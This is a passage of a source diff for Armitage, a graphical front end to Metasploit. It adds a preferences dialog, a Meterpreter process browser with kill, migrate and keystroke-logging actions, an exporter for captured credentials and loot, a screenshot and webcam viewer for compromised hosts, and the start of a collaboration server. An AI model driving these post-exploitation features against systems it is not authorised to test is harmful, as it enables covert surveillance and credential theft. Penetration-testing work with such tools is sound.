[$dialog setVisible: 1];
|
||||||
|
[$dialog show];
|
||||||
|
}
|
||||||
|
else if ($type eq "shortcut") {
|
||||||
|
local('$dialog $label');
|
||||||
|
$dialog = dialog("Shortcut", 100, 100);
|
||||||
|
$label = [new JLabel: "Type the desired key:"];
|
||||||
|
[$dialog add: $label];
|
||||||
|
[$dialog pack];
|
||||||
|
|
||||||
|
[$label setFocusTraversalKeys: [KeyboardFocusManager FORWARD_TRAVERSAL_KEYS], [new HashSet]];
|
||||||
|
[$label setFocusTraversalKeys: [KeyboardFocusManager BACKWARD_TRAVERSAL_KEYS], [new HashSet]];
|
||||||
|
[$label setFocusTraversalKeys: [KeyboardFocusManager UP_CYCLE_TRAVERSAL_KEYS], [new HashSet]];
|
||||||
|
|
||||||
|
[$label addKeyListener: lambda({
|
||||||
|
if ($0 eq "keyReleased") {
|
||||||
|
[$model setValueAtRow: $row, "value", strrep([KeyStroke getKeyStrokeForEvent: $1], 'released', 'pressed')];
|
||||||
|
[$model fireListeners];
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
}, \$dialog, \$model, \$row)];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
[$dialog show];
|
||||||
|
[$label requestFocus];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$model, \$table));
|
||||||
|
|
||||||
|
local('$button $reset');
|
||||||
|
$button = [new JButton: "Save"];
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('$row $key $value');
|
||||||
|
$preferences = [new Properties];
|
||||||
|
foreach $row (convertAll([$model getRows])) {
|
||||||
|
($key, $value) = values($row, @('key', 'value'));
|
||||||
|
[$preferences setProperty: $key, $value];
|
||||||
|
}
|
||||||
|
savePreferences();
|
||||||
|
showError("Preferences saved.");
|
||||||
|
}, \$model)];
|
||||||
|
|
||||||
|
$reset = [new JButton: "Reset"];
|
||||||
|
[$reset addActionListener: lambda({
|
||||||
|
local('$file');
|
||||||
|
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||||
|
deleteFile($file);
|
||||||
|
$preferences = loadPreferences();
|
||||||
|
[$model clear: 256];
|
||||||
|
updatePrefModel($model);
|
||||||
|
[$model fireListeners];
|
||||||
|
}, \$model)];
|
||||||
|
|
||||||
|
[$panel add: center($button, $reset), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
local('$dialog');
|
||||||
|
$dialog = dialog("Preferences", 640, 480);
|
||||||
|
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||||
|
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
[$dialog show];
|
||||||
|
}
|
||||||
|
|
||||||
|
# sets up the Metasploit base file and the data directory file...
|
||||||
|
sub setupBaseDirectory {
|
||||||
|
local('%o');
|
||||||
|
%o = call($client, "module.options", "post", "multi/gather/dns_bruteforce");
|
||||||
|
if ("NAMELIST" in %o && "default" in %o["NAMELIST"]) {
|
||||||
|
$BASE_DIRECTORY = getFileParent(getFileParent(getFileParent(getFileParent(%o["NAMELIST"]["default"]))));
|
||||||
|
$DATA_DIRECTORY = getFileParent(getFileParent(%o["NAMELIST"]["default"]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub connectToDatabase {
|
||||||
|
local('$dbuser $dbpass $dburl $database $dbstring');
|
||||||
|
$dbstring = loadDatabasePreferences($preferences);
|
||||||
|
|
||||||
|
if ($dbstring eq "") {
|
||||||
|
throw [new RuntimeException: "could not find database settings"];
|
||||||
|
}
|
||||||
|
|
||||||
|
($dbuser, $dbpass, $dburl) = matches($dbstring, '(.*?):.(.*?).@(.*)');
|
||||||
|
$database = [new DatabaseImpl];
|
||||||
|
[$database connect: "jdbc:postgresql:// $+ $dburl", $dbuser, $dbpass];
|
||||||
|
|
||||||
|
# connect to the database from metasploit if need be.
|
||||||
|
cmd_safe("db_status", lambda({
|
||||||
|
if ("* connected to *" !iswm $3) {
|
||||||
|
cmd_safe("db_connect $dbstring", {
|
||||||
|
warn(@_);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}, \$dbstring));
|
||||||
|
|
||||||
|
return $database;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dataDirectory {
|
||||||
|
local('$f');
|
||||||
|
|
||||||
|
if ([$preferences getProperty: "armitage.log_data_here.folder", ""] eq "") {
|
||||||
|
[$preferences setProperty: "armitage.log_data_here.folder", getFileProper(systemProperties()["user.home"], ".armitage")];
|
||||||
|
savePreferences();
|
||||||
|
}
|
||||||
|
|
||||||
|
$f = [$preferences getProperty: "armitage.log_data_here.folder"];
|
||||||
|
if (-exists $f && !-canwrite $f) {
|
||||||
|
println("I do not have permission to write to:\n $+ $f");
|
||||||
|
}
|
||||||
|
|
||||||
|
return $f;
|
||||||
|
}
|
|
@ -0,0 +1,109 @@
|
||||||
|
#
|
||||||
|
# Process Browser (for Meterpreter)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('%processes');
|
||||||
|
%processes = ohash();
|
||||||
|
|
||||||
|
setMissPolicy(%processes, { return [new GenericTableModel: @("PID", "Name", "Arch", "Session", "User", "Path"), "PID", 128]; });
|
||||||
|
|
||||||
|
sub parseProcessList {
|
||||||
|
if ($0 eq "end") {
|
||||||
|
local('@rows $row');
|
||||||
|
[%processes[$1] clear: 128];
|
||||||
|
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
||||||
|
foreach $row (@rows) {
|
||||||
|
[%processes[$1] addEntry: $row];
|
||||||
|
}
|
||||||
|
[%processes[$1] fireListeners];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
%handlers["ps"] = &parseProcessList;
|
||||||
|
%handlers["migrate"] = { if ($0 eq "begin") { showError("$2"); } };
|
||||||
|
|
||||||
|
sub createProcessBrowser {
|
||||||
|
local('$table $model $panel $sorter');
|
||||||
|
|
||||||
|
$model = %processes[$1];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
# setup popup hook for processes
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ([$1 isPopupTrigger]) {
|
||||||
|
local('$r');
|
||||||
|
$r = [$model getSelectedValuesFromColumns: $table, @("PID", "Name", "User", "Path")];
|
||||||
|
if (size($r) > 0) {
|
||||||
|
installMenu($1, "process", $r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$table, \$model));
|
||||||
|
|
||||||
|
# allow only one row to be selected at a time.
|
||||||
|
|
||||||
|
[$sorter setComparator: 0, {
|
||||||
|
return $1 <=> $2;
|
||||||
|
}];
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
local('$a $b $bb $c');
|
||||||
|
$a = [new JButton: "Kill"];
|
||||||
|
[$a addActionListener: lambda({
|
||||||
|
local('$procs $v');
|
||||||
|
$procs = [$model getSelectedValues: $table];
|
||||||
|
foreach $v ($procs) {
|
||||||
|
m_cmd($m, "kill $v");
|
||||||
|
}
|
||||||
|
sleep(250);
|
||||||
|
m_cmd($m, "ps");
|
||||||
|
}, $m => $1, \$table, \$model)];
|
||||||
|
|
||||||
|
$b = [new JButton: "Migrate"];
|
||||||
|
[$b addActionListener: lambda({
|
||||||
|
local('$v');
|
||||||
|
$v = [$model getSelectedValue: $table];
|
||||||
|
if ($v !is $null) {
|
||||||
|
m_cmd($m, "migrate $v");
|
||||||
|
}
|
||||||
|
}, $m => $1, \$table, \$model)];
|
||||||
|
|
||||||
|
$bb = [new JButton: "Log Keystrokes"];
|
||||||
|
[$bb addActionListener: lambda({
|
||||||
|
local('$v');
|
||||||
|
$v = [$model getSelectedValue: $table];
|
||||||
|
if ($v !is $null) {
|
||||||
|
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $m, MIGRATE => 1, ShowKeystrokes => 1, PID => $v, CAPTURE_TYPE => "pid"));
|
||||||
|
}
|
||||||
|
}, $m => $1, \$table, \$model)];
|
||||||
|
|
||||||
|
$c = [new JButton: "Refresh"];
|
||||||
|
[$c addActionListener:
|
||||||
|
lambda({
|
||||||
|
m_cmd($m, "ps");
|
||||||
|
}, $m => $1)
|
||||||
|
];
|
||||||
|
|
||||||
|
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
||||||
|
m_cmd($1, "ps");
|
||||||
|
}
|
|
@ -0,0 +1,361 @@
|
||||||
|
#
|
||||||
|
# Armitage Reporting... (well, sorta... not going to generate PDFs any time soon :))
|
||||||
|
#
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
|
||||||
|
sub dumpTSVData {
|
||||||
|
local('$handle $entry $key $value');
|
||||||
|
if ($3 is $null) {
|
||||||
|
warn("No data for $1");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$handle = openf("> $+ $1 $+ .tsv");
|
||||||
|
println($handle, join("\t", $2));
|
||||||
|
foreach $entry ($3) {
|
||||||
|
foreach $key => $value ($entry) {
|
||||||
|
$value = strrep(["$value" trim], "\t", " ", "\n", "\\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
println($handle, join("\t", values($entry, $2)));
|
||||||
|
}
|
||||||
|
closef($handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dumpXMLData {
|
||||||
|
local('$handle $entry $key $value');
|
||||||
|
if ($3 is $null) {
|
||||||
|
warn("No data for $1");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$handle = openf("> $+ $1 $+ .xml");
|
||||||
|
println($handle, "< $+ $1 $+ >");
|
||||||
|
foreach $entry ($3) {
|
||||||
|
println($handle, "\t<entry>");
|
||||||
|
foreach $key ($2) {
|
||||||
|
$value = $entry[$key];
|
||||||
|
if ($key eq "info") {
|
||||||
|
println($handle, "\t\t< $+ $key $+ ><![CDATA[ $+ $value $+ ]]></ $+ $key $+ >");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
println($handle, "\t\t< $+ $key $+ > $+ $value $+ </ $+ $key $+ >");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println($handle, "\t</entry>");
|
||||||
|
}
|
||||||
|
println($handle, "</ $+ $1 $+ >");
|
||||||
|
closef($handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dumpData {
|
||||||
|
dumpXMLData($1, $2, $3);
|
||||||
|
dumpTSVData($1, $2, $3);
|
||||||
|
logFile("$1 $+ .xml", "artifacts", "xml");
|
||||||
|
logFile("$1 $+ .tsv", "artifacts", "tsv");
|
||||||
|
deleteFile("$1 $+ .xml");
|
||||||
|
deleteFile("$1 $+ .tsv");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub fixHosts {
|
||||||
|
return sort({
|
||||||
|
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
|
||||||
|
}, $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub fixSessions {
|
||||||
|
local('$session $info');
|
||||||
|
foreach $session ($1) {
|
||||||
|
if ("exploit/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 8) in @exploits) {
|
||||||
|
$info = call($mclient, "module.info", "exploit", substr($session['via_exploit'], 8));
|
||||||
|
|
||||||
|
# fix some options
|
||||||
|
$session['exploit_name'] = $info['name'];
|
||||||
|
}
|
||||||
|
else if ("auxiliary/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 10) in @auxiliary) {
|
||||||
|
$info = call($mclient, "module.info", "auxiliary", substr($session['via_exploit'], 10));
|
||||||
|
|
||||||
|
# fix some options
|
||||||
|
$session['exploit_name'] = $info['name'];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub fixTimeline {
|
||||||
|
local('$event $source $username');
|
||||||
|
foreach $event ($1) {
|
||||||
|
($source, $username) = split('//', $event['username']);
|
||||||
|
$event['source'] = $source;
|
||||||
|
$event['username'] = $username;
|
||||||
|
}
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub fixVulns {
|
||||||
|
local('$id $vuln %vulns %refs $info');
|
||||||
|
%refs = ohash();
|
||||||
|
setMissPolicy(%refs, { return @(); });
|
||||||
|
|
||||||
|
# let's group everything by a unique vulnerability id... we're going to collapse the
|
||||||
|
# the vulns into one row with comma separated refs.
|
||||||
|
foreach $vuln ($1) {
|
||||||
|
$id = $vuln['vid'];
|
||||||
|
%vulns[$id] = $vuln;
|
||||||
|
push(%refs[$id], $vuln['refs']);
|
||||||
|
}
|
||||||
|
|
||||||
|
# fix the references...
|
||||||
|
foreach $id => $vuln (%vulns) {
|
||||||
|
$vuln['refs'] = join(", ", %refs[$id]);
|
||||||
|
|
||||||
|
if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
|
||||||
|
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
|
||||||
|
|
||||||
|
# fix some options
|
||||||
|
$vuln['module'] = $vuln['name'];
|
||||||
|
$vuln['name'] = $info['name'];
|
||||||
|
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
||||||
|
}
|
||||||
|
else if ("auxiliary/*" iswm $vuln['name'] && substr($vuln['name'], 10) in @auxiliary) {
|
||||||
|
$info = call($mclient, "module.info", "auxiliary", substr($vuln['name'], 10));
|
||||||
|
|
||||||
|
# fix some options
|
||||||
|
$vuln['module'] = $vuln['name'];
|
||||||
|
$vuln['name'] = $info['name'];
|
||||||
|
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return sort({
|
||||||
|
return [graph.Route ipToLong: $1['host']] <=> [graph.Route ipToLong: $2['host']];
|
||||||
|
}, values(%vulns));
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# query all of the data that we want...
|
||||||
|
# queryData(%workspace)
|
||||||
|
#
|
||||||
|
sub queryData {
|
||||||
|
local('%r $progress');
|
||||||
|
|
||||||
|
# 1. extract the known vulnerability information
|
||||||
|
%r['vulns'] = call($mclient, "db.vulns")["vulns"];
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 10];
|
||||||
|
}
|
||||||
|
|
||||||
|
%r['vulns'] = fixVulns(%r['vulns']);
|
||||||
|
|
||||||
|
# 2. credentials
|
||||||
|
%r['creds'] = call($mclient, "db.creds")["creds"];
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 20];
|
||||||
|
}
|
||||||
|
|
||||||
|
# 3. loot
|
||||||
|
%r['loots'] = call($mclient, "db.loots")["loots"];
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 30];
|
||||||
|
}
|
||||||
|
|
||||||
|
# 4. clients
|
||||||
|
%r['clients'] = call($mclient, "db.clients")["clients"];
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 35];
|
||||||
|
}
|
||||||
|
|
||||||
|
# 5. sessions...
|
||||||
|
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 36];
|
||||||
|
}
|
||||||
|
|
||||||
|
# 6. timeline
|
||||||
|
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 38];
|
||||||
|
}
|
||||||
|
|
||||||
|
# 7. hosts and services
|
||||||
|
local('@hosts @services $temp $h $s $x');
|
||||||
|
call($mclient, "armitage.prep_export", $1);
|
||||||
|
|
||||||
|
$temp = call($mclient, "armitage.export_data");
|
||||||
|
while (size($temp['hosts']) > 0) {
|
||||||
|
($h, $s) = values($temp, @('hosts', 'services'));
|
||||||
|
addAll(@hosts, $h);
|
||||||
|
addAll(@services, $s);
|
||||||
|
|
||||||
|
if ($progress) {
|
||||||
|
[$progress setProgress: 35 + $x];
|
||||||
|
}
|
||||||
|
$x += 2;
|
||||||
|
sleep(50);
|
||||||
|
$temp = call($mclient, "armitage.export_data");
|
||||||
|
}
|
||||||
|
|
||||||
|
%r['hosts'] = fixHosts(@hosts);
|
||||||
|
%r['services'] = @services;
|
||||||
|
|
||||||
|
return %r;
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# extract and export Metasploit data to easily parsable files (TSV and XML)
|
||||||
|
#
|
||||||
|
sub generateArtifacts {
|
||||||
|
local('$dialog $select @workspaces $export');
|
||||||
|
|
||||||
|
$dialog = dialog("Export Data", 320, 200);
|
||||||
|
|
||||||
|
@workspaces = map({ return $1['name']; }, workspaces());
|
||||||
|
add(@workspaces, "All Hosts");
|
||||||
|
|
||||||
|
$select = select(@workspaces, "Show All");
|
||||||
|
$export = [new JButton: "Export"];
|
||||||
|
[$export addActionListener: lambda({
|
||||||
|
thread(lambda({
|
||||||
|
local('$filter $files');
|
||||||
|
if ($item eq "All Hosts") {
|
||||||
|
$filter = %();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$filter = search(workspaces(),
|
||||||
|
lambda({
|
||||||
|
return iff($1['name'] eq $item, $1);
|
||||||
|
}, \$item));
|
||||||
|
}
|
||||||
|
|
||||||
|
$files = _generateArtifacts($filter);
|
||||||
|
[gotoFile([new java.io.File: $files])];
|
||||||
|
}, $item => [$select getSelectedItem]));
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$select, \$dialog)];
|
||||||
|
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
[$dialog add: label_for("Workspace:", 100, $select), [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($export), [BorderLayout SOUTH]];
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
[$dialog show];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _generateArtifacts {
|
||||||
|
local('%data $progress');
|
||||||
|
|
||||||
|
$progress = [new javax.swing.ProgressMonitor: $null, "Exporting Data", "Querying Database...", 0, 100];
|
||||||
|
%data = queryData($1, \$progress);
|
||||||
|
|
||||||
|
[$progress setProgress: 50];
|
||||||
|
[$progress setNote: "Exporting Data"];
|
||||||
|
|
||||||
|
# 1. extract the known vulnerability information
|
||||||
|
dumpData("vulnerabilities", @("host", "port", "proto", "updated_at", "name", "refs", "info", "module"), %data['vulns']);
|
||||||
|
|
||||||
|
[$progress setProgress: 55];
|
||||||
|
|
||||||
|
# 2. credentials
|
||||||
|
dumpData("credentials", @("host", "port", "proto", "sname", "created_at", "active", "ptype", "user", "pass"), %data['creds']);
|
||||||
|
|
||||||
|
[$progress setProgress: 60];
|
||||||
|
|
||||||
|
# 3. loot
|
||||||
|
dumpData("loots", @("host", "ltype", "created_at", "updated_at", "info", "content_type", "name", "path"), %data['loots']);
|
||||||
|
|
||||||
|
[$progress setProgress: 65];
|
||||||
|
|
||||||
|
# 4. clients
|
||||||
|
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
|
||||||
|
|
||||||
|
[$progress setProgress: 70];
|
||||||
|
|
||||||
|
# 5. hosts
|
||||||
|
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
|
||||||
|
|
||||||
|
[$progress setProgress: 80];
|
||||||
|
|
||||||
|
# 6. services
|
||||||
|
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
|
||||||
|
|
||||||
|
[$progress setProgress: 90];
|
||||||
|
|
||||||
|
# 7. sessions
|
||||||
|
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
|
||||||
|
|
||||||
|
[$progress setProgress: 93];
|
||||||
|
|
||||||
|
# 8. timeline
|
||||||
|
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
|
||||||
|
|
||||||
|
[$progress setProgress: 96];
|
||||||
|
|
||||||
|
# 9. take a pretty screenshot of the graph view...
|
||||||
|
[$progress setNote: "host picture :)"];
|
||||||
|
|
||||||
|
makeScreenshot("hosts.png");
|
||||||
|
if (-exists "hosts.png") {
|
||||||
|
logFile("hosts.png", "artifacts", ".");
|
||||||
|
deleteFile("hosts.png");
|
||||||
|
}
|
||||||
|
|
||||||
|
[$progress setProgress: 100];
|
||||||
|
[$progress close];
|
||||||
|
|
||||||
|
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# connects to the database (if necessary), resets the host index for pagination and... rocks it!
|
||||||
|
#
|
||||||
|
sub api_prep_export {
|
||||||
|
if ($db is $null) {
|
||||||
|
$db = connectToDatabase();
|
||||||
|
}
|
||||||
|
|
||||||
|
[$db resetHostsIndex];
|
||||||
|
[$db execute: "db.filter", $2];
|
||||||
|
return %(status => "success");
|
||||||
|
}
|
||||||
|
|
||||||
|
# pages through database and grabs all of the hosts and services data
|
||||||
|
sub api_export_data {
|
||||||
|
local('@hosts $temp @services $stemp');
|
||||||
|
|
||||||
|
# call db.filter here if requested...
|
||||||
|
@hosts = call($db, "db.hosts")['hosts'];
|
||||||
|
|
||||||
|
# get all of the services for these hosts...
|
||||||
|
[$db resetServicesIndex];
|
||||||
|
$temp = call($db, "db.services")['services'];
|
||||||
|
|
||||||
|
while (size($temp) > 0) {
|
||||||
|
addAll(@services, $temp);
|
||||||
|
[$db nextServicesIndex];
|
||||||
|
$temp = call($db, "db.services")['services'];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$db nextHostsIndex];
|
||||||
|
return %(hosts => @hosts, services => @services);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub initReporting {
|
||||||
|
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
|
||||||
|
|
||||||
|
wait(fork({
|
||||||
|
global('$db');
|
||||||
|
[$client addHook: "armitage.export_data", &api_export_data];
|
||||||
|
[$client addHook: "armitage.prep_export", &api_prep_export];
|
||||||
|
}, \$client, $mclient => $client, \$preferences, \$yaml_file, \$BASE_DIRECTORY, \$yaml_entry));
|
||||||
|
}
|
|
@ -0,0 +1,100 @@
|
||||||
|
#
|
||||||
|
# Screenshot viewer... whee?!?
|
||||||
|
#
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.imageio.*;
|
||||||
|
import java.io.File;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
import armitage.*;
|
||||||
|
|
||||||
|
global('%screenshots %webcams');
|
||||||
|
%screenshots = ohash();
|
||||||
|
%webcams = ohash();
|
||||||
|
|
||||||
|
sub image_viewer
|
||||||
|
{
|
||||||
|
local('$panel $viewer $buttons $refresh $watch');
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$viewer = [new ZoomableImage];
|
||||||
|
[$panel add: [new JScrollPane: $viewer], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$buttons = [new JPanel];
|
||||||
|
[$buttons setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
m_cmd($sid, $command);
|
||||||
|
}, $sid => $2, \$command)];
|
||||||
|
[$buttons add: $refresh];
|
||||||
|
|
||||||
|
$watch = [new JButton: "Watch (10s)"];
|
||||||
|
[$watch addActionListener: lambda({
|
||||||
|
local('$timer');
|
||||||
|
$timer = [new SimpleTimer: 10000];
|
||||||
|
[$timer setRunnable: lambda({
|
||||||
|
if ($sid !in $container) {
|
||||||
|
[$timer stop];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, $command);
|
||||||
|
}
|
||||||
|
}, \$sid, \$timer, \$container, \$command)];
|
||||||
|
}, $sid => $2, \$container, \$command)];
|
||||||
|
[$buttons add: $watch];
|
||||||
|
[$panel add: $buttons, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$frame addTab: "$title $2", $panel, lambda({ $container[$key] = $null; size($container); }, $key => $2, \$container), "$title " . sessionToHost($2)];
|
||||||
|
return $viewer;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub update_viewer {
|
||||||
|
if ($0 eq "update" && "*Operation failed*" iswm $2) {
|
||||||
|
showError($2);
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $2 ismatch "$type saved to: (.*?)") {
|
||||||
|
local('$file $image $panel');
|
||||||
|
($file) = matched();
|
||||||
|
|
||||||
|
# we're collaborating, so download the file please...
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
$file = getFileProper(cwd(), downloadFile($file));
|
||||||
|
}
|
||||||
|
|
||||||
|
logFile($file, sessionToHost($1), $type);
|
||||||
|
$image = [ImageIO read: [new File: $file]];
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
[$container[$id] setIcon: [new ImageIcon: $image]];
|
||||||
|
}, \$container, \$image, $id => $1));
|
||||||
|
|
||||||
|
if (-isFile $file && "*.jpeg" iswm $file) {
|
||||||
|
deleteFile($file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
setMissPolicy(%screenshots, lambda(&image_viewer, $title => "Screenshot", $command => "screenshot -v false", $container => %screenshots));
|
||||||
|
setMissPolicy(%webcams, lambda(&image_viewer, $title => "Webcam", $command => "webcam_snap -v false", $container => %webcams));
|
||||||
|
|
||||||
|
%handlers["screenshot"] = lambda(&update_viewer, $type => "Screenshot", $container => %screenshots);
|
||||||
|
%handlers["webcam_snap"] = lambda(&update_viewer, $type => "Webcam shot", $container => %webcams);
|
||||||
|
|
||||||
|
sub createScreenshotViewer {
|
||||||
|
return lambda({
|
||||||
|
m_cmd($sid, "screenshot -v false");
|
||||||
|
}, $sid => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createWebcamViewer {
|
||||||
|
return lambda({
|
||||||
|
m_cmd($sid, "webcam_snap -v false");
|
||||||
|
}, $sid => $1);
|
||||||
|
}
|
|
@ -0,0 +1,522 @@
|
||||||
|
#
|
||||||
|
# -= Armitage Network Attack Collaboration Server =-
|
||||||
|
#
|
||||||
|
# This is a separate application. It creates a second interface that Armitage uses
|
||||||
|
# to collaborate with other network attack clients.
|
||||||
|
#
|
||||||
|
# Features include:
|
||||||
|
# - Meterpreter multiplexing (writes take ownership of a session, reads are silently ignored
|
||||||
|
# for non-owner clients).
|
||||||
|
# - Upload/download files (allows feature dependent on files to work)
|
||||||
|
# - Group chat (because everyone loves chatting...)
|
||||||
|
#
|
||||||
|
# This is a proof of concept quickly hacked out (do you see how long this code is?)
|
||||||
|
#
|
||||||
|
# My goal is to eventually see this technology ported to Metasploit's RPC interface
|
||||||
|
# so this second instance can be done away with.
|
||||||
|
#
|
||||||
|
# Any takers? :)
|
||||||
|
#
|
||||||
|
|
||||||
|
debug(7);
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
sub result {
|
||||||
|
local('$rv $key $value');
|
||||||
|
$rv = [new HashMap];
|
||||||
|
foreach $key => $value ($1) {
|
||||||
|
[$rv put: "$key", "$value"];
|
||||||
|
}
|
||||||
|
return $rv;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub event {
|
||||||
|
local('$result');
|
||||||
|
$result = formatDate("HH:mm:ss") . " $1";
|
||||||
|
acquire($poll_lock);
|
||||||
|
push(@events, $result);
|
||||||
|
release($poll_lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub client {
|
||||||
|
local('$temp $result $method $eid $sid $args $data $session $index $rv $valid $h $channel $key $value $file $response $time $address $app $ver %async %consoles');
|
||||||
|
|
||||||
|
# do these things asynchronously so we don't tie up a client's thread
|
||||||
|
%async['module.execute'] = 1;
|
||||||
|
%async['core.setg'] = 1;
|
||||||
|
%async['console.destroy'] = 1;
|
||||||
|
%async['console.write'] = 1;
|
||||||
|
%async['session.shell_write'] = 1;
|
||||||
|
|
||||||
|
#
|
||||||
|
# verify the client
|
||||||
|
#
|
||||||
|
$temp = readObject($handle);
|
||||||
|
($method, $args) = $temp;
|
||||||
|
if ($method ne "armitage.validate") {
|
||||||
|
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$user $pass');
|
||||||
|
($user, $pass, $eid, $app, $ver) = $args;
|
||||||
|
|
||||||
|
if ($user ne $_user || $pass ne $_pass) {
|
||||||
|
warn("Rejected $eid (invalid login)");
|
||||||
|
